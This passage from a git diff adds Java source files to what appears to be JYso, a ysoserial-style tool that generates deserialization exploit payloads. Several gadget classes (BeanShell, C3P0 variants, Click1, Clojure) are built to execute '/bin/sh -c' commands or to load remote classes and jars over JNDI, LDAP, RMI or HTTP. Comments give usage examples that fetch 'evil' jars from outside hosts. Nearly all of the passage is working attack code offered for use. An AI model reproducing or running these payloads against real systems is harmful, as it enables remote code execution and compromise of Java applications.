Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java new file mode 100644 index 0000000..656fff0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java @@ -0,0 +1,50 @@ +package com.qi4l.JYso.gadgets; + +import bsh.Interpreter; +import bsh.NameSpace; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.*; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.beanshell:bsh:2.0b1"}) +@Authors({Authors.KILLER}) +public class BeanShell2 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + + Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); + setu.setAccessible(true); + setu.invoke(i, "bsh.cwd", "."); + i.eval(payload); + + Class xthis = Class.forName("bsh.XThis"); + Field handlerField = xthis.getDeclaredField("invocationHandler"); + handlerField.setAccessible(true); + Constructor xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class); + xthisDeclaredConstructor.setAccessible(true); + Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i); + handlerField.setAccessible(true); + InvocationHandler handler = (InvocationHandler) handlerField.get(xt); + + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue queue = new PriorityQueue(2); + queue.add("1"); + queue.add("2"); + + Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); + field.setAccessible(true); + field.set(queue, comparator); + return queue; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java new file mode 100644 index 0000000..9a36813 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.gadgets; + +import java.net.URI; + +public class BindingEnumeration implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ]))); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java new file mode 100644 index 0000000..720f2fe --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java @@ -0,0 +1,94 @@ +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + *

+ * Arguments: + * - base_url:classname + *

+ * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P0 implements ObjectPayload { + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String className; + + private final String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P02.java b/src/main/java/com/qi4l/JYso/gadgets/C3P02.java new file mode 100644 index 0000000..41d8700 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P02.java @@ -0,0 +1,86 @@ +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; + +/** + * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) +@Authors({Authors.QI4L}) +public class C3P02 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + if (command.startsWith("EX-") || command.startsWith("LF-")) { + command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\""); + } else { + command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()"; + } + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=eval")); + ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P03.java b/src/main/java/com/qi4l/JYso/gadgets/C3P03.java new file mode 100644 index 0000000..3e1bdaa --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P03.java @@ -0,0 +1,79 @@ +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * 同 C3P0 2 只不过使用了 Groovy + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.QI4L}) +public class C3P03 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=evaluate")); + ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()")); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java new file mode 100644 index 0000000..7af520c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java @@ -0,0 +1,157 @@ +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.HexUtils; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.IOException; +import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * 同上 只不过使用了 snakeyaml + * 加了一些常见的 Gadget,有点套娃的感觉了 + *

+ * 用法: + * 远程加载 Jar 包 + * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' + *

+ * 向服务器写入 Jar 包并加载(不出网) + * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' + * C3P04 'localJar-./yaml.jar' + *

+ * C3P0 二次反序列化 + * C3P04 'c3p0Double-/usr/CC6.ser' + *

+ * C3P0 JNDI 以及 JdbcRowSetImpl JNDI + * C3P04 'c3p0Jndi-ldap://x.x.x.x/evil' + * C3P04 'jndi-ldap://x.x.x.x/evil' + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) +@Authors({Authors.QI4L}) +public class C3P04 implements ObjectPayload { + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf('-'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String[] parts = command.split("-"); + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + private final String type; + + public PoolSource(String type, String cmd) { + this.type = type; + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + + String yaml = ""; + + switch (type) { + case "remoteJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "localJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "writeJar": + String[] parts = cmd.split(":"); + try { + yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]); + } catch (Exception e) { + throw new RuntimeException(e); + } + break; + case "c3p0Double": + try { + byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); + String hexString = HexUtils.bytesToHexString(data, data.length); + yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + + "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; + } catch (IOException e) { + throw new RuntimeException(e); + } + break; + case "c3p0Jndi": + yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + + "jndiName: " + cmd + "\n" + + "loginTimeout: 0"; + break; + case "jndi": + yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + + "dataSourceName: " + cmd + "\n" + + "autoCommit: true"; + break; + + } + + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=load")); + ref.add(new StringRefAddr("QI4L", yaml)); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java new file mode 100644 index 0000000..c9b407c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java @@ -0,0 +1,99 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + + +/** + * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P092 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID + + ClassPool pool = new ClassPool(); + pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); + final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); + + ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); + + // mock method name until armed + final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); + + Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); + Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private String className; + + private String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java new file mode 100644 index 0000000..559245b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java @@ -0,0 +1,43 @@ +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.mchange.v2.c3p0.ComboPooledDataSource; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) +@Authors({Authors.Unam4}) +public class C3P0JDBC implements ObjectPayload { + //private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + + // "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + // "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" + + // "$$\n"; + @Override + public Object getObject(String command) throws Exception { + + if (!command.toLowerCase().startsWith("jdbc:")) { + throw new Exception("Command format is: eviljdbcurl"); + } + + ComboPooledDataSource o = new ComboPooledDataSource(); + o.setJdbcUrl(command); + o.setMaxIdleTime(1); + o.setMaxPoolSize(1); + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(o, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java new file mode 100644 index 0000000..0d664cb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java @@ -0,0 +1,40 @@ +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) +@Authors({Authors.Unam4}) +public class C3P0JNDI implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); + Reflections.setFieldValue(o,"jndiName",command); + Reflections.setFieldValue(o,"identityToken","exp"); + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(o, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java new file mode 100644 index 0000000..e40b8d5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) +@Authors({Authors.Unam4}) +public class C3P0JNDI2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource(); + o.setJndiName(command); + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(o, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java new file mode 100644 index 0000000..70bf315 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.gadgets; + +public class C3P0RefDataSource implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { +// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); +// // requires ordering +// Reflections.setFieldValue(obj, "jndiName", command); +// Reflections.setFieldValue(obj, "loginTimeout", 0); +// return obj; + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java new file mode 100644 index 0000000..672a8c2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Hex; + +import javax.naming.Name; +import javax.naming.Reference; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.util.Hashtable; + +public class C3P0WrapperConnPool implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); + Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])); + return obj; + } + + public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, IOException { + ByteArrayOutputStream b = new ByteArrayOutputStream(); + try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) { + Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ + Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); + con.setAccessible(true); + Reference jndiref = new Reference("Foo", clazz, codebase); + Object ref = con.newInstance(jndiref, null, null, null); + oos.writeObject(ref); + } + + return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Click1.java b/src/main/java/com/qi4l/JYso/gadgets/Click1.java new file mode 100644 index 0000000..76592b6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Click1.java @@ -0,0 +1,78 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.click.control.Column; +import org.apache.click.control.Table; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + + +/** + * Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). + * We use java.util.PriorityQueue to trigger ColumnComparator.compare(). + * After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. + *

+ * Chain: + *

+ * java.util.PriorityQueue.readObject() + * java.util.PriorityQueue.heapify() + * java.util.PriorityQueue.siftDown() + * java.util.PriorityQueue.siftDownUsingComparator() + * org.apache.click.control.Column$ColumnComparator.compare() + * org.apache.click.control.Column.getProperty() + * org.apache.click.control.Column.getProperty() + * org.apache.click.util.PropertyUtils.getValue() + * org.apache.click.util.PropertyUtils.getObjectPropertyValue() + * java.lang.reflect.Method.invoke() + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * ... + *

+ * Arguments: + * - command to execute + *

+ * Yields: + * - RCE via TemplatesImpl.getOutputProperties() + *

+ * Requires: + * - Apache Click + * - servlet-api of any version + *

+ * by @artsploit + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) +@Authors({Authors.ARTSPLOIT}) +public class Click1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + // prepare a Column.comparator with mock values + final Column column = new Column("lowestSetBit"); + column.setTable(new Table()); + Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); + + // create queue with numbers and our comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by the comparator, + // so it will trigger getOutputProperties() when objects in the queue are compared + column.setName("outputProperties"); + + // finally, we inject and new TemplatesImpl object into the queue, + // so its getOutputProperties() method will be called + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + final Object template; + template = Gadgets.createTemplatesImpl(command); + queueArray[0] = template; + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java new file mode 100644 index 0000000..45bae92 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java @@ -0,0 +1,50 @@ +package com.qi4l.JYso.gadgets; + +import clojure.core$comp; +import clojure.core$constantly; +import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; +import clojure.lang.PersistentArrayMap; +import clojure.main$eval_opt; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * HashMap.readObject() + * AbstractTableModel$ff19274a.hashCode() + * clojure.core$comp$fn__4727.invoke() + * clojure.core$constantly$fn__4614.invoke() + * clojure.main$eval_opt.invoke() + *

